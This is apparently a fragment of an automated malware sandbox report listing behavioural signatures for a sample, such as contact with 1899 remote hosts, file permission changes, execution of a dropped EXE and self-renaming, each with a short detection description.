Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1899) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
